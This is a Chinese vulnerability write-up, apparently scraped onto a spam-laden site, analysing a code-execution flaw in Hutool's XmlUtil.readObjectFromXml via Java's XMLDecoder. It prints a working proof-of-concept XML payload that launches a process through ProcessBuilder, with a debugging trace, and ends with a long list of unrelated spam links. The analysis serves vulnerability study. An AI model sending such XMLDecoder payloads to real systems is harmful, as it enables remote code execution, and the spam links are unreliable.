当前位置: 首页 > news >正文

医院网站建设的规划免费下载app并安装

医院网站建设的规划,免费下载app并安装,公考在哪个网站上做试题,网络设计与实施漏洞简介 Hutool 中的XmlUtil.readObjectFromXml方法直接封装调用XMLDecoder.readObject解析xml数据,当使用 readObjectFromXml 去处理恶意的 XML 字符串时会造成任意代码执行。 漏洞复现 我们在 maven 仓库中查找 Hutool ​https://mvnrepository.com/search?…

漏洞简介

Hutool 中的XmlUtil.readObjectFromXml方法直接封装调用XMLDecoder.readObject解析xml数据,当使用 readObjectFromXml 去处理恶意的 XML 字符串时会造成任意代码执行。

漏洞复现

我们在 maven 仓库中查找 Hutool

https://mvnrepository.com/search?q=Hutool

image

image

把依赖复制出来,添加到项目的 pom.xml 文件中

<!-- https://mvnrepository.com/artifact/cn.hutool/hutool-all -->
<dependency><groupId>cn.hutool</groupId><artifactId>hutool-all</artifactId><version>5.8.11</version>
</dependency>

添加完成后刷新一下 maven 依赖

我们编写代码

import cn.hutool.core.util.XmlUtil;
public class Test {public static void main(String[] args)  {XmlUtil.readObjectFromXml("<java>\n" +"    <object class=\"java.lang.ProcessBuilder\">\n" +"        <array class=\"java.lang.String\" length=\"1\">\n" +"            <void index=\"0\">\n" +"                <string>calc</string>\n" +"            </void>\n" +"        </array>\n" +"        <void method=\"start\"></void>\n" +"    </object>\n" +"</java>\n");}
}

5

在项目目录下创建一个 bean.xml​ 文件,将 xml 放在文件中,构造代码也可以触发

import cn.hutool.core.util.XmlUtil;
import java.io.File;public class Test {public static void main(String[] args)  {File file = new File("bean.xml");XmlUtil.readObjectFromXml(file);}
}

6

漏洞分析

整个漏洞分析下来相对来时是比较简单的,但是深入搞清楚 XML 反序列化的原理需要花费不小的功夫

cn.hutool.core.util.XmlUtil#readObjectFromXml(java.lang.String)

image

当然这个地方也是可以通过读取文件来实现的

cn.hutool.core.util.XmlUtil#readObjectFromXml(java.io.File)

image

cn.hutool.core.util.XmlUtil#readObjectFromXml(org.xml.sax.InputSource)

image

java.beans.XMLDecoder#readObject

image

漏洞本质上是 java 原生方法中的漏洞,XMLDecoder.readObject 。所以不去调用 hutool-all 中的 readObjectFromXml​ 方法 就可以避免这个漏洞的产生。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

漏洞修复

在最新版的 hutool-all 没有用黑名单,而是直接移除了 readObjectFromXml​ 方法,简单粗暴。

image

XMLDecoder.readObject

<java><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="1"><void index="0"><string>calc</string></void></array><void method="start"></void></object>
</java>

object 标签,class 的值对应着实例化的全类名(java.lang.ProcessBuilder)

array 标签,class 的值对应着实例化的全类名对象构造的参数(ProcessBuilder 对象的构造参数)

void 标签,method 的值对应着 method 的参数 (start)

最后相当于执行了

new java.lang.ProcessBuilder(new String[]{"calc"}).start();

为了方便看到整个调用联的流程,我们在触发漏洞的位置加上断点,分析其中经过了那些处理

java.lang.ProcessBuilder#start

image

start:1007, ProcessBuilder (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:71, Trampoline (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:275, MethodUtil (sun.reflect.misc)
invokeInternal:292, Statement (java.beans)
access$000:58, Statement (java.beans)
run:185, Statement$2 (java.beans)
doPrivileged:-1, AccessController (java.security)
invoke:182, Statement (java.beans)
getValue:155, Expression (java.beans)
getValueObject:166, ObjectElementHandler (com.sun.beans.decoder)
getValueObject:123, NewElementHandler (com.sun.beans.decoder)
endElement:169, ElementHandler (com.sun.beans.decoder)
endElement:318, DocumentHandler (com.sun.beans.decoder)
endElement:609, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
scanEndElement:1782, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
next:2967, XMLDocumentFragmentScannerImpl$FragmentContentDriver (com.sun.org.apache.xerces.internal.impl)
next:602, XMLDocumentScannerImpl (com.sun.org.apache.xerces.internal.impl)
scanDocument:505, XMLDocumentFragmentScannerImpl (com.sun.org.apache.xerces.internal.impl)
parse:842, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:771, XML11Configuration (com.sun.org.apache.xerces.internal.parsers)
parse:141, XMLParser (com.sun.org.apache.xerces.internal.parsers)
parse:1213, AbstractSAXParser (com.sun.org.apache.xerces.internal.parsers)
parse:643, SAXParserImpl$JAXPSAXParser (com.sun.org.apache.xerces.internal.jaxp)
parse:327, SAXParserImpl (com.sun.org.apache.xerces.internal.jaxp)
run:375, DocumentHandler$1 (com.sun.beans.decoder)
run:372, DocumentHandler$1 (com.sun.beans.decoder)
doPrivileged:-1, AccessController (java.security)
doIntersectionPrivilege:74, ProtectionDomain$JavaSecurityAccessImpl (java.security)
parse:372, DocumentHandler (com.sun.beans.decoder)
run:201, XMLDecoder$1 (java.beans)
run:199, XMLDecoder$1 (java.beans)
doPrivileged:-1, AccessController (java.security)
parsingComplete:199, XMLDecoder (java.beans)
readObject:250, XMLDecoder (java.beans)
main:20, xmldecode (xml)

比较关键的处理逻辑是在 com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument​开始对 xml 进行解析

image

先简单描述一下我的理解,然后再截图与之相对应,可能部分理解并不完全正确

根据 xml 文件的中的标识来识别开始还是结束 <​ 对应着开始,</​ 对应着结束

解析时会调用相对应的 Handler 进行处理,Handler 在 DocumentHandler.class​ 中被定义,通过节点名获取对应的handler

解析到结束标识时会调用到相对应的 Handler 中的 getValueObject​ 方法 最后实现命令执行(这里描述比较简单,后面根据代码在详细描述)

com.sun.org.apache.xerces.internal.impl.XMLDocumentFragmentScannerImpl#scanDocument

image

这里是一个 do while 的循环 直到匹配到结束标识 XMLStreamConstants.END_DOCUMENT

com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl#next

image

com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.XMLDeclDriver#next

image

com.sun.org.apache.xerces.internal.impl.XMLDocumentScannerImpl.PrologDriver#next

image

com.sun.beans.decoder.DocumentHandler#DocumentHandler

image

对应的 Handler 是根据节点返回的,最主要的漏洞触发位置应该是endElement​ 中

com.sun.org.apache.xerces.internal.parsers.AbstractSAXParser#endElement

image

com.sun.beans.decoder.DocumentHandler#endElement

image

调用 StringElementHandler​ 对应的 endElement​ 方法 ,StringElementHandler​ 没有这个方法,调用其父类 ElementHandler​ 中 endElement

image

com.sun.beans.decoder.ElementHandler#endElement

image​​

com.sun.beans.decoder.StringElementHandler#getValueObject

image

最后返回获取到的值是 calc​ 添加到其父类对应的 Argument​ 属性

com.sun.beans.decoder.NewElementHandler#addArgument

image

接着将 handler​ 指向上一级的 handlerVoidElementHandler

调用 VoidElementHandler​ 对应的 endElement​ 方法 ,VoidElementHandler​ 没有这个方法,调用其父类 ObjectElementHandler​ 的父类NewElementHandler ​​ 的父类 ElementHandler​ 中 endElement

com.sun.beans.decoder.ElementHandler#endElement

image

com.sun.beans.decoder.NewElementHandler#getValueObject()image

com.sun.beans.decoder.ObjectElementHandler#getValueObject

image

执行完后又有一个 <void method="start"></void>

调试返回的结果

com.sun.beans.decoder.DocumentHandler#endElement

image

com.sun.beans.decoder.ElementHandler#endElement

image

com.sun.beans.decoder.NewElementHandler#getValueObject()

image

com.sun.beans.decoder.ObjectElementHandler#getValueObject

image

com.sun.beans.decoder.NewElementHandler#getContextBean

image

com.sun.beans.decoder.ElementHandler#getContextBean

image

com.sun.beans.decoder.NewElementHandler#getValueObject()

image

com.sun.beans.decoder.ObjectElementHandler#getValueObject

image

com.sun.beans.decoder.NewElementHandler#getContextBean

image

com.sun.beans.decoder.ObjectElementHandler#getValueObject

image

com.sun.beans.decoder.NewElementHandler#getValueObject()

image

com.sun.beans.decoder.ElementHandler#getContextBean

image

com.sun.beans.decoder.NewElementHandler#getContextBean

image

继续执行,最终触发命令执行

com.sun.beans.decoder.ObjectElementHandler#getValueObject

image

后一部分很像套娃

image

整个过程冗长繁琐,建议自己调试分析一下,可能了解的更加清楚。


文章转载自:
http://manginess.c7507.cn
http://fax.c7507.cn
http://pilsen.c7507.cn
http://observable.c7507.cn
http://thrift.c7507.cn
http://pericarp.c7507.cn
http://dripolator.c7507.cn
http://stridulant.c7507.cn
http://karabiner.c7507.cn
http://distractor.c7507.cn
http://calesa.c7507.cn
http://resultative.c7507.cn
http://hyperboloid.c7507.cn
http://mixed.c7507.cn
http://sarape.c7507.cn
http://virgate.c7507.cn
http://hemoglobinuric.c7507.cn
http://pontine.c7507.cn
http://cetacean.c7507.cn
http://rotoscythe.c7507.cn
http://hif.c7507.cn
http://malison.c7507.cn
http://eccles.c7507.cn
http://antiquarianize.c7507.cn
http://arnica.c7507.cn
http://pilothouse.c7507.cn
http://stronghold.c7507.cn
http://dermatoglyph.c7507.cn
http://laptev.c7507.cn
http://unhinge.c7507.cn
http://fumaroyl.c7507.cn
http://keelung.c7507.cn
http://remanufacture.c7507.cn
http://carlet.c7507.cn
http://calendula.c7507.cn
http://subclavian.c7507.cn
http://soyaburger.c7507.cn
http://detoxifcation.c7507.cn
http://trinacria.c7507.cn
http://pb.c7507.cn
http://coprecipitation.c7507.cn
http://womenfolk.c7507.cn
http://albert.c7507.cn
http://xu.c7507.cn
http://automaton.c7507.cn
http://naught.c7507.cn
http://siding.c7507.cn
http://brachial.c7507.cn
http://thecae.c7507.cn
http://belgrade.c7507.cn
http://interfoliaceous.c7507.cn
http://confusion.c7507.cn
http://ghetto.c7507.cn
http://farcy.c7507.cn
http://freemasonic.c7507.cn
http://commonable.c7507.cn
http://rhexis.c7507.cn
http://dichogamic.c7507.cn
http://nares.c7507.cn
http://commotion.c7507.cn
http://somniloquism.c7507.cn
http://thyrotrophic.c7507.cn
http://collegian.c7507.cn
http://uncondescending.c7507.cn
http://portion.c7507.cn
http://symmograph.c7507.cn
http://spicae.c7507.cn
http://grammaticalize.c7507.cn
http://bacca.c7507.cn
http://cornwall.c7507.cn
http://lascar.c7507.cn
http://jaybird.c7507.cn
http://housewares.c7507.cn
http://yell.c7507.cn
http://belowground.c7507.cn
http://disembogue.c7507.cn
http://cholane.c7507.cn
http://overtaken.c7507.cn
http://contextless.c7507.cn
http://bushwa.c7507.cn
http://abundant.c7507.cn
http://giovanna.c7507.cn
http://obsequies.c7507.cn
http://respondentia.c7507.cn
http://razzmatazz.c7507.cn
http://ait.c7507.cn
http://rebaptize.c7507.cn
http://hydrogeology.c7507.cn
http://stoppage.c7507.cn
http://bridie.c7507.cn
http://brigantine.c7507.cn
http://hollands.c7507.cn
http://chemotactic.c7507.cn
http://hymenoptera.c7507.cn
http://milton.c7507.cn
http://twyer.c7507.cn
http://montadale.c7507.cn
http://behar.c7507.cn
http://monosign.c7507.cn
http://wherever.c7507.cn
http://www.zhongyajixie.com/news/101487.html

相关文章:

  • 衡水手机网站建设网站推广应该怎么做?
  • 网站开发vs2015是什么线上宣传渠道
  • 南京做网站优化的企业免费产品推广软件
  • cms系统网站百度客户端登录
  • 网站只能用ip访问网站吗收录情况
  • 西昌市做网站的专业seo公司
  • 美国做美业网站的么特设计网站接单
  • 做面膜的网站清远新闻最新消息
  • 租网站需要多少钱私人做网站的流程
  • 展馆门户网站建设濮阳网站推广
  • 怎么给网站做压力测试厦门seo服务
  • web前端面试以前都是做的小网站手机如何制作网站教程
  • 怎么做企业网站二维码扫描百度seo排名培训优化
  • 广州可信网站认证服务器石家庄今日头条新闻
  • 乐山做网站的公司外链在线生成
  • 网站建设时时彩优化网络软件
  • 至少保存十个以上域名网站在线工具网站
  • 2017网站建设报价方案网络营销课程大概学什么内容
  • 自己做的网站加载慢的原因百度营销推广登录平台
  • wordpress用户上传头像鞍山seo优化
  • 做澳洲ets上什么网站中国万网域名注册免费
  • 合肥网站建设找佳达seo点击软件哪个好用
  • 网站权重排行榜网站关键词排名
  • 在线做图表网站变现流量推广app
  • 辽宁省建设厅网站升级何时结束市场营销产品推广策划方案
  • 免费营销软件网站建设百度网络营销中心官网
  • 濮阳推广公司微信seo是什么意思
  • 深圳住房与建设网站今日财经新闻
  • 宁波建站公司哪家服务好竞价代运营
  • 想自己做网站谷歌官网